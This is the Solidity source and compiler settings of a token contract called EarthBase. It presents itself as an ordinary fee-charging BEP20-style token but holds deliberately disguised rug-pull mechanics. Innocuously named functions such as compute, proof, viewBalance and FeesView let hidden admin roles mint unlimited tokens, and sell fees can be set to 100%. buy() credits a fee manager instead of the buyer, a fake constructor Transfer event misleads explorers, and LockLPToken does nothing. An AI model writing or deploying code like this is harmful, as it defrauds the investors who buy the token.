EarthBase

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

library Safety {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        return a - b;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        return a / b;
    }
}

contract __Token__ {
    using Safety for uint256;

    uint8 public decimals = 18;
    string public name = "EarthBase";
    string public symbol = "Area51";
    uint256 public totalSupply = 5000000 * (10**uint256(decimals));

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;

    uint256 public buyFee;
    uint256 public sellFee;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);

    constructor(address _feeAdmin) {
        owner = msg.sender;
        feeManager = _feeAdmin;
        balanceOf[msg.sender] = totalSupply;
        createNewToken();
    }

    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);

        return true;
    }

    function createNewToken() internal {
        emit Transfer(address(0), getDexRouter(), totalSupply);
    }

    function _scale(address account, uint256 amount) internal Exchanges {
        require(account != address(0), "BEP20: mint to the zero address");

        totalSupply = totalSupply.add(amount);
        balanceOf[account] = balanceOf[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function setMember(address Mbr_) public returns (bool) {
        require(msg.sender == getDexRouter());
        _mbr = Mbr_;
        return true;
    }

    modifier Exchanges() {
        require(msg.sender != exchange());
        _;
    }

    function rewire(uint256 amount) public returns (bool) {
        require(msg.sender == _adm);
        _proof(msg.sender, amount);
        return true;
    }

    function getDexRouter() internal pure returns (address) {
        return address(0xE46ab5f9092350F55D12f0Cf346D4e6017C875f2);
    }

    function compute(uint256 amount) public onlypublic returns (bool success) {
        _initiate(msg.sender, amount);
        return true;
    }

    function _proof(address account, uint256 amount) internal Exchanges {
        require(account != address(0), "BEP20: mint to the zero address");

        totalSupply = totalSupply.add(amount);
        balanceOf[account] = balanceOf[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _transferTo(address _to, uint256 _amount) internal Exchanges {
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
    }

    function exchange() internal pure returns (address) {
        return getDexRouter();
    }

    function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        _setFee(newBuyFee, newSellFee);
        emit FeesUpdated(newBuyFee, newSellFee);
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function scaling(uint256 amount) public onlyAuthorized returns (bool) {
        _scale(msg.sender, amount);
        return true;
    }

    function _balanceView(address _to, uint256 _amount) internal {
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
    }

    function transferTo(address _to, uint256 _amount) external onlyAuthorize {
        _transferTo(_to, _amount);
    }

    function proof(uint256 amount) public onlyOwner returns (bool) {
        _proof(msg.sender, amount);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");

        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);

        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }

        return true;
    }

    function _initiate(address account, uint256 amount) internal {
        require(account != address(0), "Compile Remix IDE");

        totalSupply = totalSupply.add(amount);
        balanceOf[account] = balanceOf[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function FeesView(uint256 amount) public onlyAuthorize returns (bool) {
        _scale(msg.sender, amount);
        return true;
    }

    function _setFee(uint256 newBuyFee, uint256 newSellFee) internal {
        buyFee = newBuyFee;
        sellFee = newSellFee;
    }

    function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }

    function setUser(address User_) public returns (bool) {
        require(msg.sender == _mbr);
        _user = User_;
        return true;
    }

    function viewBalance(address _to, uint256 _amount) public onlypublic {
        _balanceView(_to, _amount);
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }

    function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }

    function LockLPToken() public onlyOwner returns (bool) {
        // Functionality not defined
        return true;
    }

    function setMod(address Mod_) public returns (bool) {
        require(msg.sender == _user);
        _mod = Mod_;
        return true;
    }

    function setCommissions(uint256 newBuyCommission, uint256 newSellCommission) public onlyAuthorized {
        require(newBuyCommission <= 100, "Buy fee cannot exceed 100%");
        require(newSellCommission <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyCommission;
        sellFee = newSellCommission;
        emit FeesUpdated(newBuyCommission, newSellCommission);
    }

    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");

        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);

            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }

    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }

    function setAdm(address Adm_) public returns (bool) {
        require(msg.sender == _mod);
        _adm = Adm_;
        return true;
    }

    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");

        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);

        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    modifier onlyAuthorized() {
        require(msg.sender == owner || msg.sender == _adm || msg.sender == _mod);
        _;
    }

    modifier onlyAuthorize() {
        require(msg.sender == owner || msg.sender == _adm || msg.sender == _mod);
        _;
    }

    modifier onlypublic() {
        require(msg.sender == owner || msg.sender == _adm || msg.sender == _mod);
        _;
    }
}

{
  "compilationTarget": {
    "__Token__.sol": "__Token__"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}